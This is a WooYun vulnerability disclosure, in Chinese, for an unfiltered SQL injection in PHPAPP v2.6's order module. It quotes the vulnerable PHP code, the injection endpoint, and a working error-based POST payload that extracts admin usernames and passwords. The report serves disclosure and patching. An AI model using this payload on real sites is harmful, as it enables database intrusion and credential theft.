PHPAPP注入第十枚（未过滤） | wooyun-2014-088374| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088374

漏洞标题：PHPAPP注入第十枚（未过滤）

漏洞作者：路人甲

提交时间：2014-12-24 12:41

修复时间：2015-03-24 12:42

公开时间：2015-03-24 12:42

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-24：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-03-24：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

PHPAPP注入第十枚（未过滤）

详细说明：

在wooyun上看到了有人提了PHPAPP的漏洞： http://wooyun.org/bugs/wooyun-2010-055604，然后去官网看了看，前几天刚有更新，就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。
PSOT注入点：wwww.xxx.com/member.php?app=48&op=4&action=1, 存在漏洞的文件在/phpapp/apps/order/member_phpapp.php
随意注册个账号即可测试
来看看漏洞是如何产生的/phpapp/apps/order/member_phpapp.php

if($this->GET['op']==4){
				   if($this->POST['Submit']){
					   
						   $content=$this->POST['content'];
						   
						   $oid=intval($oderid);
							
						   $this->Update('task_order',array('content'=>$content),array()," WHERE oid='$oid'");
							 
						   //文件
						   $files=$this->UploadFile();
				   
						   if($files){
								 foreach($files as $fid){
									  $this->Insert('apps_file',array('appid'=>$this->app,'fid'=>$fid,'uid'=>$this->uid,'id'=>$oid,'type'=>3),array());
								 }
								 $this->ReplaceFileContent($files,'task_order',$content," WHERE oid='$oid' ");
						   }
						   
						   echo '上传成功！';
						   echo $this->CloseNowWindows('#loading',1);
				   }
						   
			}

用户提交的content 没有经过过滤，拼接了sql语句，造成了注入。
Phpapp可以显错，那就用error-based blind进行注入。
Pyload：(POST提交)

Submit=1&content=1' or (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password) from phpapp_member limit 0,1))a from phpapp_member group by a)b) or'

注入成功，管理员用户名及密码如下图中所示：

漏洞证明：

见详细说明

修复方案：

$this->str()

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

WooYun.org

漏洞概要 关注数(24) 关注此漏洞